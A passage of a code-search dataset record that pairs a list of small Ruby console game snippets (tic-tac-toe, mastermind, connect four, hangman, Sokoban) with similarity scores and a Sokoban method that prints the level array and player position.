\"#{computerPlayer}\" \n elsif g == 4 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\" \n elsif g == 5 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 5 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\" \n elsif g == 5 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 5 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 5 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 5 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\" \n elsif g == 5 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\" \n elsif g == 5 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\" \n elsif g == 6 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 6 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\" \n elsif g == 6 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 6 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 6 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 6 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\" \n elsif g == 6 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\" \n elsif g == 6 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\" \n elsif g == 7 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 7 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n elsif g == 7 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 7 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 7 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 7 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\" \n elsif g == 7 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n elsif g == 7 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\" \n elsif g == 8 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 8 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\" \n elsif g == 8 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 8 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 8 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 8 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\" \n elsif g == 8 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n\n end\n\n tictac_array\n \nend",
"def game_option(option)\n case option.downcase\n when RULES_GAME_OPTION\n open('game_rules.txt') do |file|\n say file.read.yellow\n end\n ask('Press enter to start the game'.yellow)\n initialize_game\n when START_GAME_OPTION\n say '-------------'\\\n 'starting the game'\\\n '-------------'.green\n show_wait_cursor(3)\n initialize_game\n end\n end",
"def setup_game(p1_mark='X',p2_mark='O',player_turn_start=1)\n @player_mark=Array.new(2)\n @player_mark[0]=p1_mark\n @player_mark[1]=p2_mark\n setup_board\n self.player_turn = player_turn_start\n end",
"def initialize_game\n setup_boards\n end",
"def choose_guess(turn)\r\n @guess = []\r\n if turn == 0\r\n @best_available_guess = []\r\n @guess = [\"red\", \"red\", \"blue\", \"blue\"]\r\n else\r\n @guess = @next_guess\r\n end\r\n end",
"def take_player_guess\n \n player_guess = Array.new(4, nil)\n guess_chosen = false\n \n while guess_chosen == false \n \n n = 0\n 4.times do\n \n #a check to make sure the input is within 1 - 8\n while [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\"].any?{|choice| choice == player_guess[n]} == false\n if @game_type == \"Codebreaker\"\n @display.prompt_color_choices\n @display.show_color_choices\n end\n if @game_type == \"Codebreaker\"\n puts \"\\n\\nPlease choose a valid option for slot number #{n + 1} of the secret code.\"\n print \"Slot #{n + 1}:\"\n end\n #this is refactored code for the codemaker aspect\n if @game_type == \"Codebreaker\"\n player_guess[n] = gets.chomp\n elsif @game_type == \"Codemaker\"\n \n if @final_comp_guess[n] == @secret_code[n]\n player_guess[n] = @final_comp_guess[n]\n elsif\n player_guess[n] = \"#{rand(1..8)}\"\n end\n end\n end\n n += 1\n \n\n end\n \n \n\n guess_chosen = true\n \n end\n player_guess\n end",
"def init_load\n init_dict()\n @grid = Array.new(self.size) { Array.new(self.size, nil) }\n insert_word(self.firstWord, self.fwX, self.fwY)\n\n if (self.playedWords == nil)\n return\n end\n\n for pw in self.playedWords\n @grid[pw.x][pw.y] = pw.letter\n end\n end",
"def start_game\r\n # Read the file that contains game instructions and display on the console\r\n File.open(File.join(File.dirname(__FILE__),\"instructions.txt\")).each do |line|\r\n puts line\r\n end\r\n # Select player 1 and 2 as human or computer. If human provide a name for identification\r\n player_1 = ask(\"Player 1 option? \",Integer){|q| q.in = 1..3}\r\n if player_1 == 2\r\n player_1_name = ask(\"Name? \") { |q| q.validate = /\\w+\\Z/ }\r\n player_1_obj = Player.new(player_1_name)\r\n else\r\n player_1_obj = Player.new()\r\n end\r\n\r\n player_2 = ask(\"Player 2 option? \",Integer){|q| q.in = 1..3}\r\n if player_2 == 2\r\n player_2_name = ask(\"Name? \") { |q| q.validate = /\\w+\\Z/ }\r\n player_2_obj = Player.new(player_2_name)\r\n else\r\n player_2_obj = Player.new()\r\n end\r\n # Create an array with two player objects. Each player gets a token which is same as his index in the array\r\n players = Array.new(2){Player.new}\r\n players[0] = player_1_obj\r\n players[1] = player_2_obj\r\n # Create a new game board\r\n new_board = Board.new()\r\n puts \" To start, please select a column between 1-7\"\r\n turn = 1 # used to keep track of maximum number of turns in the game which is 7*6\r\n game_over_flag = 0 # set to 1 if game is over either by a win or a tie\r\n while(turn <= 42)\r\n players.each_with_index do |player,player_token|\r\n puts \"Player #{player.name} turn\"\r\n if player.name.eql?(\"Computer\")\r\n # currently the computer takes a random move. This can be replaced with the calculate_winning_move() method\r\n # by implementing an algorithm to calculate the best move\r\n player_selection = rand(7)\r\n else\r\n # Take human player's column selection. reduce it by 1 because array indices start with 0\r\n player_selection = ask(\"Column? \", Integer) { |q| q.in = 1..7 }\r\n end\r\n player_column = player_selection-1\r\n # call make_move which makes a move on behalf of player and checks if the move has made the player win\r\n win_flag = new_board.make_move(player_token,player_column)\r\n turn += 1\r\n if win_flag\r\n puts \"Game over : Player #{player.name} won\"\r\n game_over_flag = 1\r\n end\r\n if turn == 42\r\n puts \"Game over : Its a tie!!\"\r\n game_over_flag = 1\r\n end\r\n # if the game over flag is set, check if the players want to restart with a new game or end the game\r\n if game_over_flag == 1\r\n new_game = ask(\"Do you want to start new game ?(yes/no)\"){|q| q.validate = /(yes|no)\\Z/}\r\n if new_game.eql?('yes')\r\n start_game()\r\n else\r\n puts \"See you.Have a good day!!\"\r\n end\r\n return\r\n end\r\n end\r\nend\r\nend",
"def second_player_plays\n\t@choice_player2 = second_player.ask_play\n\tunless second_player.verification_coordonnees == true \n\t \t second_player.error\n\t \t @choice_player2 = second_player.ask_play\n\tend\n\n\t@array.map do |x|\n\t if x.value == @choice_player2 && x.check_if_empty\n\t\t x.fill_up_case(\"o\")\n\t\t second_player.success_case\n\t elsif x.value == @choice_player2 && !x.check_if_empty\n\t\t\tsecond_player.error\n\t\t\t@choice_player2 = second_player.ask_play\n\t end\t\n\tend\n\n\tupdate_board\n\tcheck_if_victory\n\n\t if @victory == true \n\t\t second_player.winner\n\t\t another_game \n\t end\n end",
"def start_game()\n $game_over = false # set flag to false when starting a new game\n $game_won = false # set flag to false when starting a new game\n $bucket = [] # empty array when starting a new game\n $build_word = [] # empty array when starting a new game\n $wrong_count = [] # empty array when starting a new game\n #$word = $words.sample # select a random word from the words array\n $word.length.times { $build_word.push(\"_\") } # push placeholder underscores to $build_word array\nend",
"def easy\n g = Game.new(Deck.new(Deck.all_cards[0..11]))\n sets = g.play\n \n sets\nend",
"def loadGame \n \"loadGame\" \n end",
"def play\n @moves = ['rock', 'paper', 'scissors',]\n @player_choice = $stdin.gets.chomp.downcase\n @opponent_choice = @moves.sample\n end",
"def load_state\n begin\n save_file = File.read(\"saved_state.json\")\n rescue\n return \"No saved game found\"\n end\n json_hash = JSON.parse(save_file)\n json_hash[\"json_board\"].each do |key, value|\n value == nil ? @board[key] = nil : \n @board[key] = Chess.const_get(value[\"class\"]).new(value[\"team\"])\n end\n @current_player = json_hash[\"current_player\"]\n return \"Game loaded\"\n end",
"def charPressedInMenu\n char = pressKey\n case (char)\n when \"p\"\n #load level of choice\n loadArray\n #displayArray\n displayArray\n when \"q\"\n #stop game\n exit\n when \"c\"\n #request level\n selectLevel\n else\n menuScreen\n end\nend",
"def load_array\n\tdump_truck = []\n\tputs \"Gimme one of your favorite things\"\n\tdump_truck[0] = gets.chomp\n\tcount = 1\n\twhile dump_truck.last != \"Meh\"\n\t\tputs \"Gimme another of your favorite things or enter Meh to end\"\n\t\tdump_truck[count] = gets.chomp\n\t\tcount +=1\n\tend\n\tdump_truck.pop\n\treturn dump_truck\nend",
"def add_plyer_from_array(loaded_file_in_array)\r\n\t\tloaded_file_in_array.each do |name, health|\r\n\t\t\tif health != /^\\d+$/ { health.to_i! }\r\n\t\t\tplayer = Player.new(name,health)\r\n\t\t\tadd_player(player)\r\n\t\tend\r\n\tend\r\n\r\n\tdef load_files_lines_to_array(loaded_file)\r\n\t\tFile.readlines(loaded_file).each do |line|\r\n\t\t\tname, health = line.split(',')\r\n\t\tend\r\n\tend\r\n\r\n#in studio_play.rb change to:\r\nknuckleheads.add_plyer_from_array(load_files_lines_to_array((ARGV.shift || \"players.csv\")))\r\n\r\n# 1. mi a különbség mixin és modle közt?\r\n# 2, hogy állapitod meg hogy hol lett include olva egy egy mixin vagy module\r\n# 3. milyen hibát dob ha csak reader és nem accessor\r\n# 4.\r\n# 5. hogyan teszteled azt hogy valami include olva e van és kacsa e?",
"def select_weapon\n\t# Store weapons in new array\n\tweapons = [\n \"\\u{1F52B}\" + \" \" + \"gun\",\n \"\\u{1F526}\" + \" \" + \"flashlight\",\n \"\\u{1F525}\" + \" \" + \"torch\",\n \"\\u{1F528}\" + \" \" + \"hammer\",\n \"\\u{1F52A}\" + \" \" + \"knife\"]\n\n# Ask user to choose a starting weapon\n\tputs \"Choose your weapon by typing its associated number: \\n\\n\"\n\n# Loop through weapons array and print options to console\n# prints the weapons and its value\n\t(0...weapons.length).each do |i|\n\t\tputs \"#{i+1} - #{weapons[i]}\"\n\tend\n\n# user input placeholder\n\tprint \"> \"\n\n# getting the users choice\n\tchoice = $stdin.gets.chomp.to_i - 1\n\t@selected_weapon = weapons[choice]\n\n#switch case for output of weapon choice\n case choice\n when 0\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 1\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 2\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 3\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n when 4\n puts \"You selected: #{@selected_weapon}\"\n clear_screen\n start_game\n else\n puts \"\\nChoose again\\n\\n\"\n select_weapon\n end\nend",
"def initialize\n @play_area = Array(0..9)\n end",
"def new_game\n @board = Board.new\n player_select\n turn\n play_again\n end",
"def play choice, player\n puts \"#{player}'s turn\"\n print \"Enter the input: \"\n input = gets.chomp.split(\",\")\n valid_input_arr = input.filter { |item| item.to_i <= 3 && item.to_i > 0 }\n while input.length != valid_input_arr.length\n puts \"wrong format! Insert the entries in the form: x, y. (where x => row, y => column)\"\n print \"Enter the input: \"\n input = gets.chomp.split(\",\")\n valid_input_arr = input.filter { |item| item.to_i <= 3 && item.to_i > 0 }\n end\n @board[(input[0].to_i) - 1][(input[1].to_i) - 1] = choice\n display_board\n end",
"def start \n game_board\n #This sets up the array that will be placed into the display_board method\n board = [\"* \",\" * \",\" * \",\" * \",\" * \",\" * \",\"* \",\" * \",\" * \"]\n display_board(board)\n game(board)\nend",
"def choose_game\n x = 0\n until x == 1 || x == 2\n puts \"Which game would you like to play?\"\n puts \"1 - Rock/Paper/Scissors\"\n puts \"2 - Rock/Paper/Scissors/Lizard/Spock\"\n x = gets.chomp.to_i\n if x == 1\n @rules = Rules_RPS.new\n elsif x == 2\n @rules = Rules_RPSLS.new\n else\n puts \"That is not a valid choice.\"\n end\n end\n end",
"def setup_game\n\t\t@word = get_word.upcase\n\t\t@misses = []\n\t\t@hits = []\n\t\t@guesses_left = 10\n\tend",
"def comp_move(some_array,which_level) \n include StrategyTools\n include FormatBoard\n \n 3.times{print \"\\n\"}\n center\n print \"MY MOVE\\n\"\n center\n 4.times{print \"_ \"}\n \n case which_level \n when \"1\"\n\trandom_play(some_array) \n \n when \"2\"\n\tif rand(2).odd?\n\t smart_play(some_array) \t\t\t\n\telse\n\t random_play(some_array) \n\tend\n\t\n when \"3\"\n if rand(4) < 3\n\t smart_play(some_array) \n\telse\n\t random_play(some_array) \n\tend\n\n when \"4\"\n\tif rand(100) < 98\n\t smart_play(some_array) \t\t\n\telse\n\t random_play(some_array) \n\tend\n\t\n end\n \n some_array\nend"
] | [
"0.65461606",
"0.6448094",
"0.6386408",
"0.6284447",
"0.62558615",
"0.6230554",
"0.6184442",
"0.6159727",
"0.61407065",
"0.6093822",
"0.6077824",
"0.60730857",
"0.6040048",
"0.5984938",
"0.5974557",
"0.59287316",
"0.59193337",
"0.59148306",
"0.5914018",
"0.58789074",
"0.5866089",
"0.58595467",
"0.5844896",
"0.5825352",
"0.57948494",
"0.5769944",
"0.5747241",
"0.57454765",
"0.5730203",
"0.57242274",
"0.5714943",
"0.57091224",
"0.5699763",
"0.56921613",
"0.56888413",
"0.56848204",
"0.567508",
"0.5666222",
"0.56579643",
"0.56517845",
"0.5624669",
"0.56236863",
"0.56013185",
"0.55944157",
"0.559144",
"0.559144",
"0.558955",
"0.5588362",
"0.55883306",
"0.5586342",
"0.55789053",
"0.5571694",
"0.5558944",
"0.55566627",
"0.5555735",
"0.5551206",
"0.55491275",
"0.5544116",
"0.55412185",
"0.55400574",
"0.5530324",
"0.5528413",
"0.5526561",
"0.5526322",
"0.55219764",
"0.5515616",
"0.55138946",
"0.5510414",
"0.5508881",
"0.55049014",
"0.5494334",
"0.5491054",
"0.5485354",
"0.5483523",
"0.54814273",
"0.5480404",
"0.54703677",
"0.54536957",
"0.5451794",
"0.54497945",
"0.54494035",
"0.54473597",
"0.5446334",
"0.5442007",
"0.5440798",
"0.5440381",
"0.5438057",
"0.5431923",
"0.54287225",
"0.54283935",
"0.5424436",
"0.54222393",
"0.54176193",
"0.5403798",
"0.540299",
"0.53936785",
"0.53908527",
"0.5388881",
"0.5380195",
"0.5378645",
"0.53770393"
] | 0.0 | -1 |
this is a method to load the array to the game screen and show the player's location | def displayArray
checkIfComplete
clearScreen
@levelArr.each do |y|
y.each do |x|
case(x)
when '@'
print x.colorize(:color => :orange)
when '#'
print x.colorize(:background => :gray)
else
print x
end
end
end
manPosition = locateMan
puts "Press 'h' for help:"
charPressedInGame
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_game\n $pokemon_party = @all_window[@index].data\n $pokemon_party.expand_global_var\n $pokemon_party.load_parameters\n $game_system.se_play($data_system.cursor_se)\n $game_map.setup($game_map.map_id)\n $game_player.moveto($game_player.x, $game_player.y) # center\n $game_party.refresh\n $game_system.bgm_play($game_system.playing_bgm)\n $game_system.bgs_play($game_system.playing_bgs)\n $game_map.update\n $game_temp.message_window_showing = false\n $trainer.load_time\n Pathfinding.load\n end",
"def update_board \n\t@the_board = Board.new(array[0].position, array[1].position, array[2].position, array[3].position, array[4].position, array[5].position, array[6].position, array[7].position, array[8].position) \n\t@the_board.display \n end",
"def play\r\n\r\n # loop that runs until puzzle is solved\r\n b = Board.new\r\n\r\n b.populate_array(\"sudoku1.txt\")\r\n\r\n # inside loop:\r\n until b.solved?\r\n # clear screen\r\n system \"clear\"\r\n # ascii title splash\r\n b.splash \r\n # render board\r\n b.render\r\n # get position and value from the player, update position and value\r\n b.update_position\r\n end\r\n\r\n end",
"def worlddisplay\r\n\t\t\t$game.world.map.display\r\n\t\tend",
"def start \n game_board\n #This sets up the array that will be placed into the display_board method\n board = [\"* \",\" * \",\" * \",\" * \",\" * \",\" * \",\"* \",\" * \",\" * \"]\n display_board(board)\n game(board)\nend",
"def draw()\n\t\t# convert integer array to X and O\n\t\tplayer_moves = @gameplay_positions.map do |n|\n\t\t\tcase n\n\t\t\twhen 1\n\t\t\t \"X\"\n\t\t\twhen 2\n\t\t\t \"O\"\n\t\t\telse\n\t\t\t \" \"\n\t\t\tend\n\t\tend\n\n\t\tprintMap(player_moves)\n\t\t\n\tend",
"def appear\n @inposition = false\n @loaded = true\n end",
"def display_world\n Matrix.draw_matrix(get_world_array, @x_size, @y_size)\n end",
"def load_game\n if File.exists?(@save_file)\n File.open(@save_file, 'r') do |f|\n @hero = Marshal.load(f)\n end\n @cmd_window.setpos(0,0)\n @cmd_window << \"Game loaded!\".rjust(CMD_WIDTH)\n else\n @cmd_window.setpos(0,0)\n @cmd_window << \"No save file found!\".rjust(CMD_WIDTH)\n end\n end",
"def show\n @started = true\n @viewport.color = Color.white\n @sprites[\"trainer\"].color.alpha = 0\n for key in @sprites.keys\n @sprites[key].visible = true\n end\n end",
"def display(game) #this game refers to an instance of the game class\n @board = game\n end",
"def initialize\n @play_area = Array(0..9)\n end",
"def load_game\n\t\tload_gameplay = YAML.load(File.read 'saved_game.yaml')\n\t\t@board = load_gameplay[0]\n\t\t@current_player = load_gameplay[1]\n\t\tshow_board\n\t\tinput_validation\n\tend",
"def show_players\n\t\tputs @human_player.show_state\n\t\tputs \"Il reste #{@enemies.length} ennemies !\"\n\tend",
"def view_current\n system('clear')\n @level1_string[@player_pos[-1]] = @player\n @level1_string[@player_pos[-1]+1] = \"\\u{1f4b0}\"\n @level1_string[@computer_pos[-1]] = @computer\n insert_sky\n puts @level1_string\n insert_landscape\n end",
"def set_player_positions\n self.print_grid\n\n xy = self.ask_for_x_y do\n \"Player 1: Where would you like to place your flag?\"\n end\n\n @player1_x = xy[0]\n @player1_y = xy[1]\n \n xy = self.ask_for_x_y do\n \"Player 2: Where would you like to place your flag?\"\n end\n\n @player2_x = xy[0]\n @player2_y = xy[1]\n end",
"def on_load_success\r\n Sound.play_load\r\n fadeout_all\r\n $game_system.on_after_load\r\n SceneManager.goto(Scene_Map)\r\n end",
"def initialize\r\n @player_number = 1\r\n @turn = 0\r\n @draw = false # set the game to a draw\r\n @finished = false # bool value to end the game\r\n $arr =[false,false,false,false,false,false,false,false,false] # array to hold which value is occupied in the grid\r\n $letter_grid =[['','',''],['','',''],['','','']] # grid so that letters can be placed inside by the user\r\n end",
"def show_player\n if @position == 1\n puts \"le joueur #{@position} : #{@name.capitalize} #{@avatar} a le symbol #{symbol} il débutera la partie\"\n else\n puts \"le joueur #{@position} : #{@name.capitalize} #{@avatar} a le symbol #{symbol}\"\n end\n end",
"def board_visualization\n @players.each do |racer|\n in_front = @length - @position[racer]\n # track = \"|\" * 30\n # p track.insert(@position[racer, racer.to_s)\n p \" |\" * @position[racer] + racer.to_s + \"|\" + \" |\" * in_front\n end\n end",
"def show_all()\n\t#images\n\tfor i in 0..3\n\t\tfor j in 0..4\n\t\t\t@computerimages[i][j].path = \"images/#{$game.players[i + 1].hand[j]}.png\"\n\t\tend\n\tend\n\t#ranks\n\tfor i in 0..3\n\t\t@computerranks[i].text = $game.ranks[$game.players[i + 1].ranks[0]]\n\tend\t\nend",
"def players\n @a = Array.new\n @a << east \n @a << south\n @a << west\n @a\n end",
"def show\n @moves = @game.moves\n end",
"def main\n @d2d_location=[]\n @d2d_location.push(D2DLOCATION)\n end",
"def marshal_load array\n @x, @y, @grid, @generator_pointer = array\n end",
"def show\r\n @positions.each do |p|\r\n\t puts p.inspect\r\n\tend\r\n end",
"def on_load_success\n fadeout_all\n $game_system.on_after_load\n SceneManager.goto(Scene_Map)\n end",
"def loadGame()\n\nend",
"def loadArray\n clearScreen\n @boxGoalCoord=[]\n @levelArr=[]\n\n lineCount=0\n #open the file and make each line an element in the 2d array @levelArr\n File.readlines(\"./levels/level#{@levelNo}.xsb\").each do |line|\n #initialize the subarray 'charArr'\n charArr=[]\n\n xCount=1\n line.each_char do |char|\n #push new element to the array subarray 'charArr'\n if char=='.'\n @boxGoalCoord.push(\"#{xCount},#{lineCount}\")\n end\n charArr.push(char)\n xCount+=1\n end\n #add the sub array 'charArr' to the whole file array 'fileArr'\n @levelArr.push(charArr)\n lineCount+=1\n end\nend",
"def loadworld\r\n\t\t\t@world = @save.world\r\n\t\tend",
"def initialize(current_player)\n\n\t@current_player = current_player\n\n\t@board = Array.new(BOARD_MAX_INDEX + 1) {Array.new(BOARD_MAX_INDEX + 1) {EMPTY_POS} }\n\n#puts \"You are playing as #{HUMAN_PLAYER}, and the computer is playing as #{COMPUTER_PLAYER}.\"\n\nend",
"def turn\n array = [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n firstshow = Show.new\n firstshow.show(array)\n puts \"What do you want to play ? \" #ask the player what he choose to play\n end",
"def show\n if user_signed_in? == false\n gon.signedin = false\n @allthewords = @game.allwords\n @badword = @game.loseword\n @targetwords = @game.correctwords\n badindex = @allthewords.index(@badword)\n @badarray = [7,3,12,8,2,4,5,8,11,10,1,2,6,3,5,9,2]\n @badarray.insert(8, badindex)\n @targetarray = [4,8,9,11,6,5,10,7,12,6,2,1,9,5,8,3,11,4,10,6,1,7]\n temptarg = []\n @targetwords.each do |word|\n ind = @allthewords.index(word)\n temptarg.push(ind)\n end\n temptarg.each do |targ|\n @targetarray.insert(12, targ)\n end\n gon.allwords = @allthewords\n gon.badword = @badarray\n gon.targetwords = @targetarray\n gon.hintword1 = @game.hintword1\n gon.hintword2 = @game.hintword2\n gon.hintword3 = @game.hintword3\n gon.hintnum1 = @game.hintnum1\n gon.hintnum2 = @game.hintnum2\n gon.hintnum3 = @game.hintnum3\n gon.sound = 1\n @chatshow = false\n\n # underway vars\n gon.g1words = @game.gsr1_words\n gon.g2words = @game.gsr2_words\n gon.g3words = @game.gsr3_words\n gon.g4words = @game.gsr4_words\n gon.g5words = @game.gsr5_words\n gon.g6words = @game.gsr6_words\n\n @cheatnum = @game.gsr1_cheat + @game.gsr2_cheat + @game.gsr3_cheat + @game.gsr4_cheat + @game.gsr5_cheat + \n @game.gsr6_cheat\n gon.currentcheatnum = @cheatnum\n\n gon.guessedwords = []\n gon.wordsh1 = []\n gon.wordsh2 = []\n gon.wordsh3 = []\n gon.guessstatus = \"hint1,word1\"\n @gsrstatus = \"hint1,word1\"\n gon.spoiler = 0\n gon.guessernum = \"1\"\n gon.playerscore = 0\n gon.heartstatus = 0\n @cheatstatus = 0\n @chatshow = false\n else\n gon.signedin = true\n \t@allthewords = @game.allwords\n \t@badword = @game.loseword\n \t@targetwords = @game.correctwords\n badindex = @allthewords.index(@badword)\n @badarray = [7,3,12,8,2,4,5,8,11,10,1,2,6,3,5,9,2]\n @badarray.insert(8, badindex)\n @targetarray = [4,8,9,11,6,5,10,7,12,6,2,1,9,5,8,3,11,4,10,6,1,7]\n temptarg = []\n @targetwords.each do |word|\n ind = @allthewords.index(word)\n temptarg.push(ind)\n end\n temptarg.each do |targ|\n @targetarray.insert(12, targ)\n end\n gon.allwords = @allthewords\n \tgon.badword = @badarray\n \tgon.targetwords = @targetarray\n \tgon.hintword1 = @game.hintword1\n \tgon.hintword2 = @game.hintword2\n gon.hintword3 = @game.hintword3\n \tgon.hintnum1 = @game.hintnum1\n \tgon.hintnum2 = @game.hintnum2\n gon.hintnum3 = @game.hintnum3\n gon.sound = current_user.sound\n @chatshow = false\n\n # underway vars\n gon.g1words = @game.gsr1_words\n gon.g2words = @game.gsr2_words\n gon.g3words = @game.gsr3_words\n gon.g4words = @game.gsr4_words\n gon.g5words = @game.gsr5_words\n gon.g6words = @game.gsr6_words\n\n @cheatnum = @game.gsr1_cheat + @game.gsr2_cheat + @game.gsr3_cheat + @game.gsr4_cheat + @game.gsr5_cheat + \n @game.gsr6_cheat\n gon.currentcheatnum = @cheatnum\n\n \tif current_user.id == @game.guesser_id1\n \t\tgon.guessedwords = @game.gsr1_words\n gon.wordsh1 = @game.gsr1_h1words\n gon.wordsh2 = @game.gsr1_h2words\n gon.wordsh3 = @game.gsr1_h3words\n \t\tgon.guessstatus = @game.gsr1_status\n @gsrstatus = @game.gsr1_status\n gon.spoiler = @game.gsr1_spoiler\n gon.guessernum = \"1\"\n gon.playerscore = @game.gsr1_score\n gon.heartstatus = @game.gsr1_heart\n gon.pupspoiler = @game.pupspoilerusedp1\n gon.pupneutrals = @game.pupneutralused1\n @cheatstatus = @game.gsr1_cheat\n if @game.gsr1_status == \"over,over\" && @game.gamestatus != \"give\"\n @chatshow = true\n end\n \telsif current_user.id == @game.guesser_id2\n \t\tgon.guessedwords = @game.gsr2_words\n gon.wordsh1 = @game.gsr2_h1words\n gon.wordsh2 = @game.gsr2_h2words\n gon.wordsh3 = @game.gsr2_h3words\n \t\tgon.guessstatus = @game.gsr2_status\n @gsrstatus = @game.gsr2_status\n gon.spoiler = @game.gsr2_spoiler\n gon.guessernum = \"2\"\n gon.playerscore = @game.gsr2_score\n gon.heartstatus = @game.gsr2_heart\n gon.pupspoiler = @game.pupspoilerusedp2\n gon.pupneutrals = @game.pupneutralused2\n @cheatstatus = @game.gsr2_cheat\n if @game.gsr2_status == \"over,over\" && @game.gamestatus != \"give\"\n @chatshow = true\n end\n \telsif current_user.id == @game.guesser_id3\n \t\tgon.guessedwords = @game.gsr3_words\n gon.wordsh1 = @game.gsr3_h1words\n gon.wordsh2 = @game.gsr3_h2words\n gon.wordsh3 = @game.gsr3_h3words\n \t\tgon.guessstatus = @game.gsr3_status\n @gsrstatus = @game.gsr3_status\n gon.spoiler = @game.gsr3_spoiler\n gon.guessernum = \"3\"\n gon.playerscore = @game.gsr3_score\n gon.heartstatus = @game.gsr3_heart\n gon.pupspoiler = @game.pupspoilerusedp3\n gon.pupneutrals = @game.pupneutralused3\n @cheatstatus = @game.gsr3_cheat\n if @game.gsr3_status == \"over,over\" && @game.gamestatus != \"give\"\n @chatshow = true\n end\n elsif current_user.id == @game.guesser_id4\n gon.guessedwords = @game.gsr4_words\n gon.wordsh1 = @game.gsr4_h1words\n gon.wordsh2 = @game.gsr4_h2words\n gon.wordsh3 = @game.gsr4_h3words\n gon.guessstatus = @game.gsr4_status\n @gsrstatus = @game.gsr4_status\n gon.spoiler = @game.gsr4_spoiler\n gon.guessernum = \"4\"\n gon.playerscore = @game.gsr4_score\n gon.heartstatus = @game.gsr4_heart\n gon.pupspoiler = @game.pupspoilerusedp4\n gon.pupneutrals = @game.pupneutralused4\n @cheatstatus = @game.gsr4_cheat\n if @game.gsr4_status == \"over,over\" && @game.gamestatus != \"give\"\n @chatshow = true\n end\n elsif current_user.id == @game.guesser_id5\n gon.guessedwords = @game.gsr5_words\n gon.wordsh1 = @game.gsr5_h1words\n gon.wordsh2 = @game.gsr5_h2words\n gon.wordsh3 = @game.gsr5_h3words\n gon.guessstatus = 